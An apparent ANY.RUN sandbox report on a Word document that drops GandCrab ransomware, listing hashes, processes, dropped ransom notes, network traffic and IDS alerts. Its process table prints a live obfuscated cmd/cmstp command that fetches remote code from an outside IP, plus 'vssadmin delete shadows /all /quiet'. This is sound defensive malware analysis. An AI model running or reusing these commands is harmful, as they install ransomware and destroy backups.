File name: | eFax_Dokument.doc |
Full analysis: | https://app.any.run/tasks/12503c8b-6d86-46ed-92f5-e9348c58c5e5 |
Verdict: | Malicious activity |
Threats: | GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost. |
Analysis date: | March 21, 2019, 19:55:22 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Thu Mar 21 14:35:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0 |
MD5: | B6A6641BAF74CFDC80F28F7EC2B56347 |
SHA1: | AEA672AF6D6E1CDB20F1C7B281D53DB506200559 |
SHA256: | 7E2D088E4950E867E875C547206795683070FA25E8C90AD301D3763B02A252A2 |
SSDEEP: | 1536:3mMGHuJHHAShblIvD8P1aMxLm/4KnG0zFCFjkT2PXMdo0ZXEFN3FTHHG2bRBjD+w:3mmgKbS+1aMxLm/4KnqFNXM8VTHm2b/ |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | Admin |
Keywords: | - |
Comments: | - |
Template: | Normal |
LastModifiedBy: | Admin |
RevisionNumber: | 3 |
Software: | Microsoft Office Word |
TotalEditTime: | 2.0 minutes |
CreateDate: | 2019:02:28 14:52:00 |
ModifyDate: | 2019:03:21 14:35:00 |
Pages: | 1 |
Words: | 4 |
Characters: | 23 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 26 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1848 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\eFax_Dokument.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2600 | cmd /V /C set "I8=s" && !I8!et "I53=\" && !I8!et "I2=e" && !I8!et "I5=i" && !I8!et "I96=A" && !I8!et "I6=N" && !I8!et "I89=d" && c!I96!ll !I8!et "I0=%!I96!PP!I89!!I96!T!I96!%" && c!I96!ll !I8!et "I31=%R!I96!!I6!!I89!OM%" && !I8!et "I81=!I0!!I53!M!I5!cro!I8!oft!I53!T!I2!mplat!I2!s!I53!!I31!.txt" && !I8!et "I07="^" && (For %i in ("[v!I2!r!I8!ion]" "!I8!ignatur!I2!=$Wi!I6!dow!I8! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!I2!faultIn!I8!tall_Singl!I2!U!I8!er]" "UnR!I2!gi!I8!t!I2!rOCXs=I97" "[I97]" "%11%\%I7_1%%I7_2%%I7_3%,NI,%I_1%%I_2%%I_3%%I_4%%I_5%%I_6%%I_7%%I_8%%I_9%%I_10%%I_11%%I_12%%I_13%%I_14%" "[!I8!tring!I8!]" "I_1=ht" "I_2=tp" "I_3=:/" "I_4=/1" "I_5=34" "I_6=.2" "I_7=09" "I_8=.8" "I_9=8." "I_10=23" "I_11=/a" "I_12=sd" "I_13=.t" "I_14=xt" "I7_2=rO" "I7_1=sC" "I7_3=bJ" ) do @echo %~i)>"!I81!" && echo !I8!erv!I5!ceNam!I2!=!I07! !I07!>>!I81! && echo !I8!hortSvcN!I96!me=!I07! !I07!>>!I81! && c!I96!ll !I8!et "I28=%WI!I6!!I89!IR%" && !I8!t!I96!rt "" !I28!!I53!Sy!I8!t!I2!m32!I53!cm!I8!tp.!I2!x!I2! /s /ns "!I81!" | C:\Windows\system32\cmd.exe | — | wmiprvse.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2436 | C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\31224.txt" | C:\Windows\System32\cmstp.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile Installer Exit code: 0 Version: 7.02.7600.16385 (win7_rtm.090713-1255) | ||||
1156 | "C:\Users\admin\AppData\Roaming\Microsoft\29132.exe" | C:\Users\admin\AppData\Roaming\Microsoft\29132.exe | cmstp.exe | |
User: admin Integrity Level: MEDIUM | ||||
2880 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\sometimesc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3060 | "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet | C:\Windows\system32\cmd.exe | 29132.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
972 | vssadmin delete shadows /all /quiet | C:\Windows\system32\vssadmin.exe | — | cmd.exe |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Command Line Interface for Microsoft® Volume Shadow Copy Service Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2932 | C:\Windows\system32\vssvc.exe | C:\Windows\system32\vssvc.exe | — | services.exe |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2540 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3508 | "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Documents\GQREO-MANUAL.txt | C:\Windows\system32\NOTEPAD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1848 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8A55.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1848 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF1F782E4B74448257.TMP | — | |
MD5:— | SHA256:— | |||
2436 | cmstp.exe | C:\Users\admin\AppData\Roaming\Microsoft\29132.exe | executable | |
MD5:5DC82CAF1BED2BF1F465F12869777BBA | SHA256:8A79211CB83014CDCF644B2105366BC1CA52A2414C93396EDEB531194026C3D8 | |||
1156 | 29132.exe | C:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\GQREO-MANUAL.txt | text | |
MD5:E8CD0E20E385BD0653D62967814EAC2C | SHA256:0CC05663FBB9D5E62BC5D58D2BCEEED92E99E3E63BD1A80BC0E29BA42D984462 | |||
1156 | 29132.exe | C:\MSOCache\GQREO-MANUAL.txt | text | |
MD5:E8CD0E20E385BD0653D62967814EAC2C | SHA256:0CC05663FBB9D5E62BC5D58D2BCEEED92E99E3E63BD1A80BC0E29BA42D984462 | |||
1156 | 29132.exe | C:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-500\GQREO-MANUAL.txt | text | |
MD5:E8CD0E20E385BD0653D62967814EAC2C | SHA256:0CC05663FBB9D5E62BC5D58D2BCEEED92E99E3E63BD1A80BC0E29BA42D984462 | |||
1156 | 29132.exe | C:\$Recycle.Bin\GQREO-MANUAL.txt | text | |
MD5:E8CD0E20E385BD0653D62967814EAC2C | SHA256:0CC05663FBB9D5E62BC5D58D2BCEEED92E99E3E63BD1A80BC0E29BA42D984462 | |||
1848 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:C2F8C21CBDD63CE007BEFAADFCC707EC | SHA256:D445B9DC038B003F0B915D62C39A6FA1A7BAD3834D8ECA1FCEBD70CCDAFC4AF2 | |||
1156 | 29132.exe | C:\Program Files\GQREO-MANUAL.txt | text | |
MD5:E8CD0E20E385BD0653D62967814EAC2C | SHA256:0CC05663FBB9D5E62BC5D58D2BCEEED92E99E3E63BD1A80BC0E29BA42D984462 | |||
1156 | 29132.exe | C:\GQREO-MANUAL.txt | text | |
MD5:E8CD0E20E385BD0653D62967814EAC2C | SHA256:0CC05663FBB9D5E62BC5D58D2BCEEED92E99E3E63BD1A80BC0E29BA42D984462 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2436 | cmstp.exe | GET | 200 | 134.209.88.23:80 | http://134.209.88.23/asd.txt | US | xml | 280 Kb | malicious |
1156 | 29132.exe | GET | 301 | 107.173.49.208:80 | http://www.kakaocorp.link/ | US | html | 162 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1156 | 29132.exe | 107.173.49.208:80 | www.kakaocorp.link | ColoCrossing | US | malicious |
1156 | 29132.exe | 107.173.49.208:443 | www.kakaocorp.link | ColoCrossing | US | malicious |
2436 | cmstp.exe | 134.209.88.23:80 | — | — | US | malicious |
Domain | IP | Reputation |
---|---|---|
www.kakaocorp.link |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
2436 | cmstp.exe | A Network Trojan was detected | MALWARE [PTsecurity] Squiblydoo Scriptlet |
2436 | cmstp.exe | Generic Protocol Command Decode | SURICATA STREAM excessive retransmissions |
1156 | 29132.exe | A Network Trojan was detected | MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server |
1156 | 29132.exe | A Network Trojan was detected | MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server |
1156 | 29132.exe | A Network Trojan was detected | MALWARE [PTsecurity] GandCrab v.5 SSL Connection |